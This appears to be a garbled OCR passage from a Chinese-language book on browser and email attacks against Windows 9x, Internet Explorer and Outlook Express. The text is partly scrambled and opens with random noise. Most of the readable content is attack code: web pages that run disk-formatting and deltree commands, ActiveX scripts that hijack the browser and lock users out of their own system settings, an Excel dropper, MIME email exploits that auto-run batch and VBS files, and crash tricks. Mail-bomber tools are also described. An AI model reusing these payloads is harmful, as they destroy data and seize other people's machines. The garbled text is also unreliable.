v4aGiATEDIUFF35+IKF1Fb29unUx/38+u7+/alCJPXHOMieKu3bPuuSNPFoXdgSEqB.JCbaRKHe.)
CvBGCFzcHeSul PrsO500C8pAS0rUxuSRUP YL Ds1+ePz/ AhzulNZnYdeQh/ 10003 YKP 4BAVKRF +5 4
tfWrosoWF8cnJu?3dulHu/k4N+1FPuCuqtWsshsY tWoNPQPNUABAVYGCPNY / F4F TubDUCW3NEDD
buMKDUSBEd FHOUGS jL7d3FP+/u/9/PzradYkIufxB8CEnDOWSEPBWF6GSUPeSrPPF1008cHF3Y/ Fyy
s80i0/Fqx0P8/0y9SuIrHYt1ieYdHFH2952UFpucotb/ /+zWB6mFiY60KNHDwARAP f 774 7/ FyHS
BAEARHSALAAAAAABADWARAT fgH+CglJ+hId/Foal fuShKoyRKpOJiSGWhwB8AFiY1J+IipHHEngI
KUFURUs1k6KgjK+MFzA1HBeEFKICZwZNI a6esIXChRACHTUIL jEjUSIGU23BuwheyiCUBUQYOHK2 )
XOYiZuDT1cPEuShTD1conayJFzolQ1FRSoIWIcEn 1wk IvuBS1mRIEQAOEPVIAOCHIHAYBUmBACHN
P3SWSSDYYPGPhUBFaxhZNnBCOWAIDUZHYUugDYKS IXxY1cIPGRBFRIzZrwcPCnYACAABAGFEPAYLID
fCUBGetmBhFO1PjJk+UD@jPdLDyoasTAwSQegnzoKiINGBghlAh1ADVHUGSE/7DC IMkhoHHK g g
tRCEhoOunMayY jCFWSKktPsTwyClgaag0qql EyaDg j0Ur 1QYSGGUkXSAL FRiKEDYT&DYO0gYWShI1
A14jCGj0iEHIL2ATPiY11XsBihtko BnvlULJFBAT1UXRHQHCE+YCPJD4wd+BgzROZK6GdSb.) jARUe
SulPHzOkyRjaJEgAp8aevREHCKDHOBE3yBE FNHYRF HxAxSARAMDXHAL tuWFEgOga0F B3 TywQAvBD
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Foxmail OE
5.3.4 TXT
.,,?@‘
Windows
. txt
<html>

< script language="VBScript">
Dim WSHShell
set WSHShell=CreateObject("WScript.Shell")
WSHShell.run("c:\format d:")

< /script>
</html>
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“ .{3050F4D8-98B5-11CF-BB82-00AA00BDCEOB}” 5-3-34
HTML
i " Windows “
HTML
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Kaboom
54.1
QuickFyre
. “ Target”
° “ Sender”
° “ Subject”
° “ Server”
° “ Copies”

54.2

Avalanche

Avalanche

E-Mail Bomb

BIERHE ) 2 (EREEFE *N

5-4-1

——QuickFyre

5-4-2

Taiget [123@444Inet

Sender [745@444 ret

Subjeot [f1 7. B R AEH -

Seivel [FOP3 444 et '
RTRREW-

C dail”
[P—— I

Kaboom
5-4-2 QuickFyre

——Avalanche

v2.8 5-4-3

5-4-3 Avalanche

Mail bomber Mailing Lists “ Mail Bomber”
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5-4-4 “ Mail Properties”
Domain name
To
From
Server
Subject
E-mailer
Carbon copy
Relays
“ Options” 5-4-5
Number of e-mails
Mail until stopped
Use real IP for mail headers
1P

Use random insult for subject

Append random insult to message

Randomly frame others

Message”

“ Start”

Mailing Lists”

Azrzlanche

1 clone loaded.

File Eeibi

Domain name: iwebmﬂslej

To: Iwebma,ster@?‘_&. net

From: [webmaster@2:3.net

Server: Igml’p.Z’ﬁ.ne'l

Subject [hello

E-mailer: [Avalanche 2.8 [16] =]
Carbon copy: [reat@2=3.net -
rootE@1*3 net
Relays: ;
[ 4 ,
= z
B o
Mail Properties £0p
: Random | Random | Random “
Start | Lleat | Gubject | Message |  Insult | Eat |
“ Stop”
5-4-4 “ Mail Bomber”

i (10000 4
" Mail until stopped

[~ Use real IP for mail headers
I~ Use random insult for subject
[ Append random insult to message:

[~ Randomly frame others

ies ) Options {1

Handom
Subject

Random
Message

“ Stait

Random
Inzult

Exjt |

5-4-5 *“ Options”

List File: [American Edu. [LS)

=] Lists: [Updste’ | Untag AlL| Tagan |
SYNTH-L

Address: [webmasted@2°3 net

THINE-L
TRAINING-L

Name: |webmaster

TH¥LT-L

Server: |[smtp.2:3inel

Lists Left

VISTA-L
WACANA-L
WEOW-L
WELFAREM-L

WELLNES-L
WHE-L
WIOMENU-L
WRTEF-L

5-4-6
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[ MR | 3 | There are 3 e-mailz in your mailbo. ,;a
5-4-24
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2

5.5.1 Outlook Express
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Z1P
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FoxMail
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1E

Internet Explorer JavaScript ActiveX
HTML
Java Applet JavaScript ActiveX
6.1.1 VBS

] mHHEs v1.0 DExN
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FEFETREAPOETRL, 1], mha s
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B iRt EIRE
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AR R ¢ BEED: [Sty vocments Sl
f
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I ) Iaaaa. whs | 775 ) I
m U t—% || F: .A {RAF2ER (1) Ivbs.WZS:‘Zﬁ: ﬂ Wi
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6-1-7 6-1-8
“ ” “ ” VBS 6-1-9
[£] mEdtizil vio M E|
Bt HEHERS
TEHLA R TR E -
F: “Documents and SettingsiA
W e ol
T
6-1-9
e |
VBS
6.1.2
o5y HTML HTML

HTML
Hacking Your Computer .
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scr.Reset();

scr.Path="C:\\Windows\\Start Menu\\Programs\\ \\hack.hta";
scr.Doc="

wsh.Run(’ start.exe /m format c:/q /autotest /u’');

alert(’ IMPORTANT : Windows is removing unused temporary files.');
scr.write();

HTML
scr.Path="C:\\Windows\\Start Menu\\Programs\\ \\hack.hta"

hack.hta
wsh.Run(’ start.exe /m format c:/q /autotest /u’');

start.exe /m format DOS-prompt
“ /autotest”
“/q /Ju”
“c D E
Format (path)\bo2k.exe
bo2k

Format
start.exe /m deltree /y a:*.* c:*.* d:*.*

start.exe /m deltree /y c:\windows\system*.* c:\windows\system
MicroSoft 1E 1E
“ ActiveX
yes no” « om
Format.com Deltree.exe formatt.conm
deltreee.exe oo “ Ctrl+Alt+Del”
6.1.3

document.write("");
function AddFavLnk(loc,DispName,SiteURL)
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{

var Shor=Shl.CreateShortcut(loc+"\\"+DispName+".URL");

Shor.TargetPath=SiteURL;

Shor.Save();

}

function f() {

try

{

ActiveX initialization al=document.applets[0];

al.setCLSID("{F935DC22-1CF0-11D0 -ADB9-00C04FD58A0B}");

al.createlnstance();

Shl=al.GetObject();

al.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

al.createlnstance();

FSO=al.GetObject();

al.setCLSID(""{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

al.createlnstance();

Net=al.GetObject();

Try

{

if(documents.cookies.index0f("Chg")==-1)

{

//Shl .RegWrite(""HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", " http://
www.on888.home.chinaren.com/");
var expdate=new Date((new Date()).getTime()+(1));
documents.cookies="Chg=general;
expires="+expdate.toGMTString()+";
path=/;
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun",
“REG_BINARY™); //
Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose",
“REG_BINARY™); //
Shl.RegWrite(""HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff",
“REG_BINARY™); //
Shl.RegWrite(""HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives",
"63000000","REG_DWORD"); 7/

Shl.RegWrite(""HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegis-
tryTools","00000001","REG_DWORD"); //

Shl.RegWrite(""HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disablecmd",
00000001","REG_DWORD"); // DOS

Shl.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealM-

01

01

01

ode","00000001","REG_DWORD"); // DOS
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCapt-
ion", " . 01CQ:4040465 "y; //
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Shl.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText","
01CQ:4040465 "y; /7
Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","

! ; 01CQ:4040465 1"y // IE
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","
! ; 01CQ:4040465 1"y: // 1E

var expdate=new Date((new Date()).getTime()+(1));
documents.cookies="Chg=general;

expires="+expdate.toGMTString()+";

path=/;

}

}

catch{}

}

catch{}

}

function init()

{

setTimeout("f()",1000);

}

init();

JAVA HTML
JAVA
.f@
° “ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\NoRun”
01
. “ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\NoClose”
01

. “ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer\NoLogOff” 01

. “ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer\NoDrives” 63000000 00000004 o

. “ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
System\DisableRegistryTools” 00000001

. “ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
WinOldApp\Disablecmd” 00000000 DOS

. “ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
WinOldApp\NoRealMode” 00000000 DOS

. “ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Win logon\LegalNotice
Caption” “ . 01CQ:4040465 1

01CQ:4040465 r
. “ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlog on\LegalNoticeText"
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01CQ:4040465 [

! . 01CQ:4040465 e
° “ HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Window Title” *
! . 01CQ:4040465 e 1E “ !
01CQ:4040465 1
° “ HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page” “ http://
www.on888.home.chinaren.com/” 1E http://www.on888.home.chinaren.com
DOS C:\Windows\Sysbckup Attrib
rb004.cab Z1P rb004.cab
C:\Windows iiEE'
Msconfig “ "
“ HA . hta” wE G
[ES -l
E}] Java EFFRE
o]
O BH
0K O #BF [
DOS scanreg/restore EEhHE
® TH
HA.hta O EH
O #7
SErHEE TR TE
O =H
“ » © BH |
iI ™ +FR I h
-EEHENRE
BEEHE) [22E - P - _EE® |
“ Internet” “ Internet z
T By |
“ Java v " “ "
6-1-10
6-1-10

HTML JavaScript

script language=JavaScript
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document.write(™ ");

function ()

{

al=document.applets[0];

al.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); al.createlnstance();

Shl = al.GetObject();

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network
\\LanMan\\RWC$\\Flags",302,"REG_DWORD");

Shl_RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network \\LanMan\\
RWC$\\Type",0, " "REG_DWORD" );

Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network
\\LanMan\\RWC$\\Path","C:\\");

}
function init()
{
setTimeout("f()", 1000);
}
init();
/script
Sh1l . RegWrite
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan “ RWCS”
“ RWCS$” “ Flags” “ Type” “ Path” C RWCS$
"Flags"=dword:00000302 "Flags"=dword:
00000402
HTML 1E
QQ
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan “ RWC$”
Windows\system\ Vserver.vxd Microsoft

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\ Vserver

N =

6.2.1

JavaScript
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<I——Begin set start page brought to u by JavaHouse,126.com-->

<SCRIPT language=JavaScript>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){

try

{

//ActiveX ( )

al=document.applets[0];

al.setCLSID(""{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

al.createlnstance();

Shl = al.GetObject();

al.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

al.createlnstance();

FSO = al.GetObject();

al.setCLSID(""{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

al.createlnstance();

Net = al.GetObject();

Try

{

if (document.cookie.index0Of("Chg")==-1)

//

{

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://Java
House.126.com/");// InternetExplorer

Shl._RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\","http://
JavaHouse.126.com/");//

Var expdate = new Date((new Date()).getTime()+(1));

document.cookie="Chg=general;expires="+expdate.toGMTString()+";path=/;"

}

}

catch(e)

{3

}

catch(e)

{3

}

function init()

{

setTimeout("f()",1000);// 1

}
init();</SCRIPT>

- 205



Shl.RegWrite(""HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Ex-
plorer \\Main \\Start Page", "http://Java House.126.com/"); // InternetExplorer
http://Java House.126.com/
HKEY_CURRENT_USER\Software\Microsoft\ Internet Explorer\main\

Start Page 1E
S h 1 . R e gWr i t.e
("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main \\Start Page","about:blank™);
1E 1E Internet

Shl.RegWrite(""HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\","http:/
/JavaHouse.126.com/"); // http:7//
JavaHouse.126.com/

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Windows Windows
Run “ S
“msconfig” “
I1E ActiveX
ActiveX
Windows 98 C:\WINDOWS\NJAVA\Packages\CVLVINBB.ZIP
ActiveXComponent.class WindowsMe C:\WINDOWS\JAVA\Packages\ 5NZVFPF1.ZIP

ActiveXComponent.class

6.2.2 Office
Office
Windows
Office

HTML HTML
<HTML>
<TITLE>
IE Office (Excel 2000)
</TITLE>
IE Office (Excel 2000)
<object data="Bookl.xla"™ "™ ™ "™ " id="shl"™ width=0 height=0>
// Excel Bookl.xla
</object>
<SCRIPT>

function ()
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{

fn="C:\\windows\\Start Menu\\Programs\\StartUp\\start.hta"
shl.object.SaveAs(fn 6) // Bookl.xla
//alert(fn+"sucessfully written")

}

setTimeout("f()" 5000)

</SCRIPT>

</HTML>

Excel Bookl.xla fn()

Bookl.xla

"<BR><OBJECT ID="wsh"
classid="clsid F935DC22-1CFO-1iDO-ADB9-00C04FD58A0B">
</0OBJECT>
<SCRIPT>
alert("Hello world™®)
wsh.Run("start.exe/m format c:/q/autotest/u*) //
</SCRIPT>"
[clsid F935DC22-1CF0-11D0-ADB9-00C04FD58A0B]

WindowsShell

WindowsShell wsh C
Bookl.xla Bookl.xla HTML
1E HTML “ "
Windows Bookl.xla start.hta C:
\windows\StartMenu\Programs\StartUp
start.hta C
Excel Bookl.xla 1E
C wsh.Run("start.exe/m format c:/q/autotest/u”)
format deltree c:/window/system
6.2.3 Office
Microsoft Office VBA

VBA Visual Basic Application Visual Basic Visual Basic
Office
1. Office
0ffice 0ffice Excel2000
Excel 2000 “ "1 " |* VisualBasic " 6-2-1
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Ed Microsoft Excel — Bookl

EBX
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4.4 | M\ Sheetl /Sheet2 £ Sheetd / [«] Bl
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6-2-1 Excel Lo
Visual Basic 6-2-2 Excel
VisualBasic Workbook ThisWork book
sic 6-2-3

e @B NEY HAD R0 LD EFE TAED AEEFE FOw HHo
Sy o mk HES B

EER) % Bookl — This¥orkbook (fLi0)

VisualBasic

Visual Ba-

= BE VBAProject (Bookl &
=3 Microsoft Excel T

] Sheetl (Sheet]
EF] Sheet? (Sheet: —
] Shest3 (Shest?

End Sub

& UserForml bl
< (it I =
ThisVorkbeo Horkbock -
BFBF | mas |

Chengaitistory
ConflictResol |
Datel304

Displayly awir-

EnvelopeVisi o
HasRoutingSlif al=e
i el ghChar 7 <15 ~

6-2-2 VisualBasic

VisualBasic

Open Excel
\del\*_*" D
Excel
2.
Excel 2000

Dreamweaver
6-2-4
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6-2-3
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“Workbook”
6-2-2
VisualBasic

Open
Workbook Open

Workbook_Open VisualBasic

del
Bookl.xlIs

Bookl.xlIs

Frontpage

Workbook_

kill "d:

Bookl.xlIs
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Bookl.xls

Excel “ " Bookl.xls HTML 6-2-5
Bookl.xls
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& mym@@%m@g@\uwgmmﬂw D-E-Ha8 D&k bl oo EEE| |
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= 2 I \Docunen = A D \Documen | Chiml>
2] et 2 B rivat] 4o
i = % images 2 i S i ‘5:% images | <meta hup—gqghvrmgsﬁum-lgufmga eyt zt\; -
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6-2-6
Ml Nicrosoft Excel
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Bookl.xls
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LE)
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E] 2 NEE AR /|- | |
| !gﬁﬁﬁi:zaa,ﬁﬂﬂ:nw [ [ |
C:\Windows C:\Winnt 6-2-7 IE Excel Bookl.xls
%" o Excel
Excel
6.2.4 ActiveX
ActiveX
ActiveX
ActiveX
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ActiveX

x

ActiveX
Active X
D:\Documents and Settings‘wuzinhualMy Documentshdeltree hinl
<html>
Tiead?

<meta http- 2quiv= "Content Ty'pe content="text/htnl ; charset=GEZ312">
<meta name= Progld comem FromPage Editor, Document”>
name="1 R content="Microsoft FrontPage 4.0%>
<udg>ﬂmﬁ$ﬁ.€ﬁm’*ﬁﬁquug>
<fhead>
l:hurlv bgeolar="4000000" text="#FFFFFF*>
>

3
object id="ser” classid="rclsid ! 05280BDS-48AA-11D2-6432-00500GC3FBFC”
align="baseline” border="0" %idth="50" heizhi="50"></obiecti</p>

Lseripty

ser Reset ()

zer. Fath="C ¢ Viwindows\\Start Menu\\Prog;—ams\\E;b\\Delete hta';

ser. Doc="<sbject 147 wsk' classid®’ clzid @ F93SICZ2-1CFO-1iD0-ADEI-DOCO4FISSATE ></sb

serowrite() ]

A zeripty
“Center MEE G Center
<hry

5 it TR A A TS St
AR B B Intarnet B e G
@ETmﬁMWﬁmmemx?
body?
<fhtml>

BIE L (R | 4|

wsh Bun( start/m deltreefy d:,}; &/ ™+*SCRIPT>; /f LERZAHEEESL T sor docfIPIE 5 ﬂjnj:

ot PECRIPT el et ( FERRIEIAGF orn 2t HEAUL 448R3E" #')
R Delete htafIFE

6.2.8 Active X
IE ActiveX IE ActiveX
“ " Delete.xla
Delete.xla Delete.xla DOS deltree /y d:
\*.* D
D
D Delete.xla
“ Script”
1.
Office Office
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e
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I BRAEE
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3.
1E
1E “ " |1“ Internet " "
http //www.XXXX.com 6-2-13
4. WSH
VBScript “ 1 Love You”
“ Newlove” VBS
Windows
Windows Scripting Host WSH
WSH VB
Windows 98 WSH “ / "
“ Windows | " “ " “ Windows
Scripting Host” “ "
Windows 2000 WSH “ "
“ K " “
b “ VBS VBScript "
“ ” 6-2-14
WSH 5.6 |IE
IE 5.5 WSH
JavaScript Getobject htmlfile ActiveX

www.microsoft.com

WSH

Windows 2000/XP “

“ Remote Registry Service”
6-2-15
9X

“ ”

Windows

regedit.exe

regedit.exe

NEFERR EIx)|
iel | FAES [EW | =E

@ AL R FI AR 5 SEE AR R L, Biaein
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(v . conl
: AT
PRI AR TR (L) !jﬁ

E i
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Bl | =B UHSE | g
BRI 2R )

FRS [ driees
WinEAR I
VESeript BEICM

wCard I
wlalendar File
Microsoft Visual FoxPro ZEEE

i |
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gzw | |

1% ©

~ “VES” ¥ R-SHIFIRER

IFH: @ Microsoft (r) Windews BT .. I
SRS “VES” BT PHAESELE “vBSeript MAIEY .
%ﬁﬁ:@ﬂﬂﬁﬁﬁ “VBScript MIZEIC{H” MRS, BeE B
E@@JI
e S |
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DisableRegistryTools DWORD Eemote Registry Service BRI (FHTEHL)
B |zx | omms | mExE|

“1r regedit.exe
IR&-E%: RemoteRegi stry
Sreg BRaHhmw: |Remote Registry Service
JidE (D) SRR R R .
unlock.reg

RIAT I HAOREEE () :
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HKEY_CURRENT_USER\SoftwarekMicrosoft\Windows\Curr- S )

entVersion\Policies\System

"DisableRegistryTools"=dword:00000000 REHE: EffLt
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' 3 1E e |
SRR
[ BRAZELEMAE (H#E)
6 Internet [%
P;?%ﬁmi CEmEERANEANERR
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0
Norton Antivirus
6-2-16 [ @& [ we [ =64 ]
“ " Norton T T -
6-2-16 Norton
1E 1E
Windows
6.3.1 IE
1.
html 6-3-1

onmouseover="while(1)("1")"
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IE 6-3-2
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IE
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‘ FDD rivat G s CENERATOR” content="i erasoft FrontPage 5.0°%
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<meta name="GENERATOR" content="HWicrosoft FrontPage 5.8">

<meta name="Progld" content="FrontPage.Editor.Document”>
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6.3.2 IE
IE IE Windows 9X
Windows 9X /con/con Windows 9X
Windows
CON NUL AUX CLOCK$ CONFIG

LPTx  COMx CON\NUL NUL\CON AUX\NUL

Windows

1.

1

192.168.0.2 d “ " Windows 9X
\192.168.0.2\d\nul\nul

Windows 9X Windows 9X

C:\windows\systen
\\192.168.0.2\printer$\nul\nul2
2 HTML

<HTML>

<body>

<a href="C:\con\con">crashing I1E</A>
<I-- Or nul\nul clock$\clock$-->

<!-- Or aux\aux config$\config$ -->

</body>
</HTML>
2.

1E

Windows 09X www.microsoft.com
Windows 09X Windows Me Windows 2000
Windows 9X

6.3.3 I|IE

é;% IE
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| E
“ Ctrl+Alt+Del”
Windows 98

“

Reset

1E
Ctri+Alt+Del”

“ Ctrl+Alt+Del” “

Windows NT/2000/XP “ Ctrl+Alt+Del”

“ Ctrl+Alt+Del”

N6 .48 g B

»

Windows

EFFiRA IR

EiR[A] findows HEBIEFERE  F8aE “B
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rai il ﬁﬁO EEW BHAW W

BIFER e |t |
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E Eﬁ éﬁﬁj\i%ﬁ = Microsoft Intern... IETEIEAT
£ S EiEET
@%SE ﬁ'l]""%%lj(ﬂjﬁ doc = Microsoft Word IETEIEAT
SeE EFEET

grite | veEe |#HEzw. |

RS 32 [cev @F: a4 |PI7EiER: 203352k / 6325T2K 4

s SE SR A RTFAE
CELIVARER, meL CHmeR” .
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MIME Multipurpose

Internet
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MIME

I1E MIME MIME MIME
HTML E-mail E-mail MIME
I1E MIME
1E
° 1E
° 1E
° 1E
° EXE I1E
MIME 1E EXE
MIME MIME I1E I1E
EXE
6.4.1 MIME
Outlook Foxmail MIME
MIME Email
HTML Web
URL MIME
MIME 3.4.6
MIME
MIME
URL
1E Web
“ " 1E
6.4.2 MIME
o B =]
J:‘e:f*rz) @RE EEW HAOD BR@ IBE@ #tw e
. JE&‘XEE“‘Q«“S?"@
HTML E-mail Outlook Express &2 | G0 S s AE | ks wEhs | M
b |
EiFA: [mrmzrBzon, con  (popd. sohu. com ) LR
ELIO
Outlook Express e
“ w2 |
N R Fitise [BFESIRE e @24 1)
“ " - FloE] E[(B 72 UAfsiEsa|8n
=
6-4-1 ‘
“ L " “
" 6-4-2
J |
test.eml — T i
Z
6-4-1
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test.eml test.eml
6-4-3
AN &3 |
— R E RO e
RFE O | ) By ¥y o2prp@ R - — NextPart_081_081B_01C3F257 .FIEASC2H =]
= = : ; =
[P CyberLi Content-Type: text/html; ;,
}3 BMi z;ﬂ:: charset="gh2312"
P !@My Wik Content-Transfer-Encoding: basefl
P ilﬁlga’zﬁﬁ PCFETBHUWUBFIERUTUwgUFUCTELDICItLY?XHOMUL BRURCEIVE1MIDQuHCBUCmFuc2]l BalPuy
"‘ﬁm = LOUDI j4NC jxIUE1HP jxIRUFEPgOKPE1FUEEgaHROcC11cXUpd i 1Db25 0245 OLURSCEUQY29udGUu
=& [S1 dD 8idEULACY0dG150yB jaGFyc2UBPWALH]HxHi [+DQo8 TUUUQSE jb25 8245 OPSJHUBhUTUwgNi by
MC4y0DAWL JEYyNzYiT JBUE?S juuU1RZTEU+DQo8L BhFQUQ+DQ0S
‘ // | (QkPEUSBiZ BHUbGOYPSHMZm2nZ nY +DQo8RE1MP jxGTA5UIHHpenU9M] 48L 62PT10+InSic3A7PCIE
SUY+PCOCTBRZP juwSFRNTDANC ==
e ’ !
‘ﬁg ****** = HextPart 061_BB1B_01C3F257 .F9EA3C26-—
s 0 r =_MNextPart_0008_001A_01C3F257 _F9EA3C26
. Content-Type: application/x-msdownload;
‘i name=""=?qb23122B%usPTBbrFus06w?XBLNUAZO=J7="
< Content-Transfer-Encoding: basedh
F 285 Content-Disposition: attachment;
TR ) [test P BEE filename=""=7gb23127B7usPTObrFus06w?XBLMUL2(Q=
TRFER ) WP . enl) | B T! /F8AAL =l
6-4-2 “ " 6-4-3 test.eml
6-4-3
Content-Type MIME
Content-Transfer-Encoding base64

Content-Disposition
Content-Type
TVgQQAAMAAAAEAAAA//8A
Content-TyPe

application/x-msdownload

1E
6.4.3 MIME
MIME
6.4.2
look Express
bak.txt
6-4-4
bak.txt
basc64 el
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base64

audio/x-wav

base64

MIME Content-Type

MIME

H testl - ST

THE GEO BEW BAD BRQ FHW
DEE SR A B0 &

From: “xxuex”
Sibiects nail
Deter Fri, 31 Oct 2033 16:25:36 +080(]
VE-Version: 1.0

S —
tipart/alternative”;
beundary="1"
SPrioritn 3

Oout-

FMSMail-Priveilys
F-Unisent: 1

Nurmsl

—1
Centent-Type: multipart/alternative:
beundary="2"

—2
Centent-Typs: text/htnl;
Crarset="1s0-8850-1"
Centent-Transfer-Encoding: quotsd-primtable

tnl>

Gead>

<head>

CFODY heCrl ar=aDRFFFFHF>

<iframe sro=3Deid: THE-CID heizht=3D0 vidth=3DO3</iframe> //SLAMEHRIIIE
T Will exscute a progranciRy

</BODT>

</HTIL>

g

-1
c e
Centent-Transfer-Encoding:
Centent-ID:  <THE-CD>

base6d

6-4-4




OutlookExpress

1E MIME
eml
OutlookExpress
cmd.eml 6-4-5
6-4-4

(8 ca - 578

cmd.eml

e ®EE FEY BAQ #R0 FHhe
OEd SR # ¢ B0 &

Subject: subject
Dats: Mon, 3 Now 2003 07:d1:24 +0800
NIME-Version: 1.0

Content-Iype: multipart/arelated;
\ype="multipart/alternative’s

boundary="1"

X-Prionty|

%-MSMail Prionity: Noreal

KUnsents |

i

Conterd-Type: multspart/alternatives
boundary="1"

-2

Content-Type: fewt/ hias
charset="iso-3859-1"

Gontert- Transfer-Encoding: quoted-printable

<HTML>
<HEAD>

<HEAD>

<BODY bgColor=3D#>

“frame sre=2Deidy THE-CID height=3D0 widib=3D0></] frame>
1val execute seme consele comuands<BR>

</BODY>

<HTML>

Content-Type: andio/i-wavs
name="hello bat® /A AREEST(F
Content-Trans fer-Encoding: quoted-printable
Content-ID:  <THE-CID>

I3

IR PR

echo OFF

dr C:\

echo YOUR. SYSTEM HAS A VULMERABILITY

s g
E R, ER FL |

6-4-5
hello.bat
hello.bat hello.bat

format d:/q /u /autotest

D

eml

cmd.eml

DOS
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deltree fdisk debug move
2. Visual Basic
Visual Basic

Outlook Express
vb.eml
Vb.eml 6-4-6
vb.eml
VisualBasic
hello.vbs o
deleteme. txt
I E
hello.vbs
C
deleteme. txt 6-4-7
hello.vbs

Bl deleteme — 55ik

B vb - 55K
@ @ED FEW BAD RRO BHO
Ned &R& # "B B

From: “sxmsxoce”

To: “vb"

Subject: mail

Date: Mon, 3 Noy 2003 08:01:36 +0800
WIME-Version: 1.0

Content-Type: multipart/related
type="multipatt/alternative”;

boundary="1"

K-Priority: 3
X-MsMail-Priority: Normal

)

Content-Type: multipart/altemative;
boundary="2"

-2

Content-Type: text/himl:
Charset="is0-3359-1"
Content-Transfer-Encodings quoted-printable

<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#fffff>

1 will create the file C: \deleteme txtt<BR>
<BODY>
HTML>

s
-1

Content-Type:  audiof-wavs

narme="hello vhs"

Content-Transfer-Eacodings quoted-printabl-c
Content-ID:  <THE-CID>

set Ot =3D CreateObiect("SCripting Fil

siframe sre=3Deid: THE-CID height=3D0 Width=3D0></iframe>

ObjOutpulFile. writeline(* You can delete this fle.
ObjOutputFile Cloge

tern Object)

set ObjOutputFile=3D ObjFileSystem CreateTestFile*C: \deleteme tat®s 1)
"

msgbox "l have created the file:  C:deletemetat”

El
= EH L i

6-4-6

vb.eml

e REED TEW BAD BRQ EEE

DEEd &l #

0 %]

wou can delete thiz file.

= B , & R

6-4-7 deleteme.txt

1E eml

Outlook Exprees

cmd.eml

hello.bat
6-4-9
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Content-1D
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MIME
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readme.txt

readme. txt
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" hello.bat eml

B cadl - S5FiK
TEE SED EFV B0 o o
DEE &R # | =@a &

From: “sxxxsxx”

To: “mail”

Subject: mail

Date: Mon, 3 Nov 2003 08:14:4d +0800
MIME-Version: 1.0

Content-Type: multipart/related;
type="multipart/alternative’;

bousdary="1"
X-Priority: 3 TRA M
X-MEMail-Priority: Normal -

(53

Htnsent: 1 E(RIFAPRE (D
hcncl.unrt:atr;yge multipart/alternative; R1F (2)

HA

-2 BiE
Content- Type: text/htrml;

Charset="iz0-8859-1"

Content- Trans fer-Encoding: quoted- printable

<HTNL>

<HEAD:>

</HEAD>

<BODY bgColor=3D#fE>

<iframe src=3DCid: readme. tat height=3D0 Widths 3D0><fiframes
Will I Show you a tzt file 7 <ER>

o
e sl hud]

-C-El,mmt,Type: B |D: YDocuments and Settings'wuxinhua'My Docu| [ﬁl]ﬁ (). .. ]

mame="hello, bat"
Content- Transfer-Encoding:  gquoted-printable
Content-ID: <readme. tt>  ALOEERMFMIE T

‘ 6-4-9
echo OFF =
dir Cs 3
echo YOUR SYSTEM HAS & VULNERABILITY
;Ii%m" + 1Bl £ w
6-4-8 cmd.eml
6.4.5 IE MIME
1E eml nws MIME *_eml *.nws
1E eml
eml nws I1E
1E MIME Content-Type audio/x-wav Content-Type appli-
cation/x-shockwave-flash
Content-Type application/x-shockwave-flash
name="hello.vbs"
Content-Transfer-Encoding quoted-printable
Content-1D <donthurtme.pdf>
msgbox  (“"Hello™)
7.0 Mediaplayer7.0 “o.wav”
7.0 Content-Type audio/x-wav eml
7.0 “ wav”
7.0 “ .wav” Content-Type audio/
X-wav eml
“ " ]* Windows Update” Windows IE Outlook /Outlook
Express MIME 1E Outlook Outlook Express
